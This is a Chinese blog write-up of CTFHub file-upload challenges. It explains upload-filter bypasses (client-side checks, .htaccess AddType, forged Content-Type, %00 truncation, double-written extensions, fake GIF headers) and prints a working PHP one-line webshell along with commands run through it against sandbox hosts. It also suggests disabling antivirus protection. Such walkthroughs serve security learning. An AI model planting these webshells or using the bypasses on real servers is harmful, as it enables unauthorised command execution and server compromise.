前言
花了两天时间学习了 XSS ,顺便通关了 CTFHub 的 XSS 板块,现在开始学习 CTFHub 文件上传漏洞的板块,可能是因为电子杨伟的原因,这几天对游戏都提不起兴趣了,只有做题成功夺旗后的成就感才能满足我,大抵是做题做上瘾了
概述
- 文件上传漏洞(File Upload Vulnerability)是Web应用程序中常见的高危漏洞之一,攻击者通过上传恶意文件(如Webshell、恶意脚本、病毒等)来获取服务器控制权或执行任意代码。由于文件上传功能广泛应用于各类Web系统(如CMS、社交平台、企业OA系统等),一旦存在漏洞,往往会导致严重的安全问题
- Webshell 是一种恶意脚本,通常被攻击者用来在目标服务器上获取不正当的访问权限。它以网页文件形式存在,支持多种编程语言,如PHP、ASP、ASPX和JSP。Webshell的主要功能包括文件管理、命令执行、数据库操作和信息收集等
- Webshell的实现通常利用服务器漏洞,如文件上传漏洞、SQL注入漏洞或远程代码执行漏洞,将恶意代码上传至服务器。一旦部署成功,攻击者可以通过Webshell执行各种恶意操作
文件上传漏洞原理
- 在 WEB 中进行文件上传的原理是通过将表单设为 multipart/form-data,同时加入文件域,而后通过 HTTP 协议将文件内容发送到服务器,服务器端读取这个分段 (multipart) 的数据信息,并将其中的文件内容提取出来并保存的。通常,在进行文件保存的时候,服务器端会读取文件的原始文件名,并从这个原始文件名中得出文件的扩展名,而后随机为文件起一个文件名 ( 为了防止重复 ),并且加上原始文件的扩展名来保存到服务器上
- 文件上传漏洞通常由未校验文件类型(依赖客户端JavaScript检查文件扩展),黑名单过滤不完善(仅禁止
.php、.jsp等扩展名),MIME 类型伪造(仅检查Content-Type),文件内容未检测,目录遍历漏洞(上传路径可控),解析漏洞(服务器错误解析文件),条件竞争漏洞(上传后未及时删除临时文件,导致攻击者利用时间差执行恶意代码)原因导致
无验证
题目:
无验证
考点:
- 基础 webshell
解题思路:
因为没有验证,所以我们可以直接使用一句话木马,然后还是先开启环境,直接上传我们的一句话木马的文件:
<?php system($_GET['cmd']); ?>注意临时关闭windows的实时保护,要不然文件会被删除,然后上传后,显示了如下信息:

我们顺着这个路径去访问我们的 webshell
http://challenge-e27299cf80a5f45b.sandbox.ctfhub.com:10800/upload/webshell.php?cmd=cmd 后面拼接我们想要执行的命令:
ls ../ # 查看上级目录的文件 flag_1025013667.php index.php upload当然也可以直接使用:
find ../../ -name "flag*" 2>/dev/null # 查找整个网站目录带有flag的文件然后我们就找到了一个 flag_1025013667.php ,直接访问这个文件发现里面没有内容,因为 php 是后端代码,前端不显示,即使查看源代码也没有用,所以我们用 cat 来查看这个文件,因为 flag 是跟 upload 属于同一个目录,所以我们需要 ../ 来切换到上级目录,payload 如下:
http://challenge-e27299cf80a5f45b.sandbox.ctfhub.com:10800/upload/webshell.php?cmd=cat ../flag_1025013667.php然后 F12 就可以看到 flag 了,成功夺旗!

前端验证
题目:
前端验证
考点:
- 前端验证绕过
解题思路:
前端的验证,通过抓包基本上就可以绕过,流程如下:

抓到的数据包是本地客户端验证完已经发送的,这个时候拦截修改后继续发送就是直接发给服务器,所以达到绕过的效果,然后理解了原理还是先开启环境:

鼠标右键查看源代码,发现使用的是 js 的前端验证,验证文件后缀必须是
.jpg.png.gif,所以我们仍然上传一句话木马,不过文件名先用 webshell.jpg:



这里忘记抓包了,直接上传成功了,不过说明思路的确没问题,的确验证了,使用的白名单验证,然后用jgp上传,接下来抓包修改:

这里先是选择文件,然后点击上传前开启抓包,然后点击 Submit ,然后修改数据包中的 jpg 为 php,然后发送数据包:

可以看到这里成功上传成功,这里之前上传了一个文件,为了方便区分所以加了一个数字 2 ,然后还是访问我们的 webshell 用 ls 获取一下上级目录的文件:
http://challenge-c4e643c77404749e.sandbox.ctfhub.com:10800/upload/webshell2.php?cmd=ls ../

可以看到 flag 的位置还是没有改变,直接 cat 该文件(flag_1632723507.php),然后 F12 查看就可以获取到 flag 了:

.htaccess
题目:
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
考点:
- .htaccess配置文件
- .htaccess 是 Apache 服务器的分布式配置文件,可在目录级别覆盖主配置文件设置,无需重启服务器即可生效。它常用于 URL 重写、访问控制、安全防护、性能优化等场景
解题思路:
这里我们现在本地创建一个 .htaccess 的文件,添加内容:
AddType application/x-httpd-php .jpg作用是让 apache 将我们上传的 webshell.jpg 当作 php 解析:

然后上传我们的 webshell.jpg:

然后我们的 webshell.jpg 会被当作 php 解析,现在只需要访问我们的 webshell,然后带上命令即可:
http://challenge-33e330ab7213426d.sandbox.ctfhub.com:10800/upload/webshell.jpg?cmd=ls ../

成功获取到文件名,然后还是像前面的一样,cat 文件,然后 F12:
http://challenge-33e330ab7213426d.sandbox.ctfhub.com:10800/upload/webshell.jpg?cmd=cat ../flag_2953221442.php

成功夺旗!这里一开始我把这题想成 apache 的解析漏洞,结果回看题目才想起来是 .htaccess 配置文件的题目,直接修上传一个 .htaccess 告诉 apache 将 jpg 文件解析为 php 即可
MIME绕过
题目:
MIME绕过
考点:
- 仅检查
Content-Type(如image/jpeg),但攻击者可伪造该值
解题思路:
MIME伪造,还是通过抓包的手段,不过这回是后端校验,服务器是通过 Content-Type 这个来判断,我们只需要修改这个值为 imag/jpeg ,服务器就会将其判断为正常的图片,从而成功上传 webshell:

理解原理后我们直接打开环境,然后抓包修改 Content-Type 的值为 image/jpeg ,但是因为我们的webshell是 .php后缀,所以依旧能正常解析:

修改好后发送数据包,成功上传,并返回了相对路径:

接下来就跟前面的一样,连接我们的 webshell 来执行命令获取 flag 即可,文件路径应该还是跟 upload 是同一个目录,所以直接使用:
http://challenge-7f962dcb54c40607.sandbox.ctfhub.com:10800/upload/webshell.php?cmd=ls ../

成功获取到 flag 的文件名,接着直接 cat 文件,然后 F12 获取 flag 即可:
http://challenge-7f962dcb54c40607.sandbox.ctfhub.com:10800/upload/webshell.php?cmd=cat ../flag_207857731.php

成功夺旗!
00截断
题目:
了解一下 PHP 5.2 00截断上传的原理
考点:
- PHP 5.2 00截断上传
解题思路:
这会题目可算不是没有了,至少给了点有用的信息,说是让我们了解一下这个 PHP 5.2 00截断上传的原理,我们直接浏览器搜搜看:
在PHP 5.2版本中,存在一个严重的漏洞,即00截断漏洞。该漏洞允许恶意用户通过URL参数输入%00,导致后续字符被自动忽略,从而绕过文件类型的限制,例如,假设我们有一个文件上传功能,要求上传的文件必须是.jpg格式。攻击者可以上传一个名为shell.php%00.jp的文件。由于%00在URL编码中表示ASCII码中的空字符(NULL字符),PHP在处理文件名时会将其视为字符串的结束符,从而忽略后面的.jpg
既然知道原理了,那么我们直接打开环境,使用这个方法上传我们的一句话木马文件 webshell.php.jpg:

因为这里是基于 URL 的截断,所以我们需要在 URL 中添加我们的文件名,然后用 %00 截断,这样上传的文件就是 webshell.php,不管原先什么名字和类型,反正文件内容一样,都是我们一句话木马的内容,然后我们连接我们的 webshell :
http://challenge-dd61e6cad1515e14.sandbox.ctfhub.com:10800/upload/webshell.php?cmd=ls ../

成功活得 flag 文件名,还是和前面一样,cat 文件,然后 F12 查看:
http://challenge-dd61e6cad1515e14.sandbox.ctfhub.com:10800/upload/webshell.php?cmd=cat ../flag_343613347.php

成功夺旗!
双写后缀:
题目:
双写后缀
考点:
- 双写后缀绕过
解题思路
与其说是双写后缀,不如用一次过滤来表达跟贴切一些,主要原理就是服务器对用户上传的文件名进行了过滤,但是只过滤了一次,所以攻击者只需要写两边就能够成功绕过
既然理解了原理,我们直接做题
这里我尝试了这两种方法发现都不行:
.php.php --> .. .phpphp --> .说明的确对 php 进行了过滤处理,无论有几个 php 都会过滤掉,但是我们可以使用双写过滤:
.pphphp --> .php这样检测时发现中间存在 php 进行过滤,过滤结束后前面的 p 和后面的 hp 再次拼接到一起形成 php 后缀:


可以看到显示的是 webshell3.php ,接下来连接 websehll 获取 flag 文件名:
http://challenge-724283698ca9ca60.sandbox.ctfhub.com:10800/upload/webshell3.php?cmd=ls ../

然后 cat 文件,F12 查看 flag:
http://challenge-724283698ca9ca60.sandbox.ctfhub.com:10800/upload/webshell3.php?cmd=cat ../flag_1101417128.php

成功夺旗!
文件头检查
题目:
文件头检查
考点:
- 文件头检查绕过
解题思路:
文件开头的几个字节(通常是2-16字节),用于标识文件的真实类型,文件头检查就是通过这个来判断文件的类型,如果不合规就上传失败,所以我们需要伪造文件头,又或者使用图片,然后在图片文件的末尾添加php代码,这里我使用第二种不管是手动添加还是在工具里面添加都没有用,最后还是回归伪造文件头,先是创建一个 webshell1.php 的文件,然后输入:
GIF89a <?php system($_GET['cmd']); ?>然后我们抓包修改 Content-Type 的值为 image/gif,发送数据包就上传成功了:

然后还是老样子,连接我们的 webshell ,然后查看 flag 文件名:
http://challenge-f1dfb7e41d8998d2.sandbox.ctfhub.com:10800/upload/webshell1.php?cmd=ls ../

获取到文件名后我们直接 cat 文件,然后 F12 查看:
http://challenge-f1dfb7e41d8998d2.sandbox.ctfhub.com:10800/upload/webshell1.php?cmd=cat ../flag_19882840.php

成功夺旗!
总结:
利用各种技巧去绕过验证,实现木马上传,然后获取到 flag,大体思路都是一样的,区别在于不同的手法,然后这篇文章是一边刷题一边写的,在这篇文章写完的时候才过了一个上午,今天实在是太快了,然后上传到博客就打算午休了,下午继续!










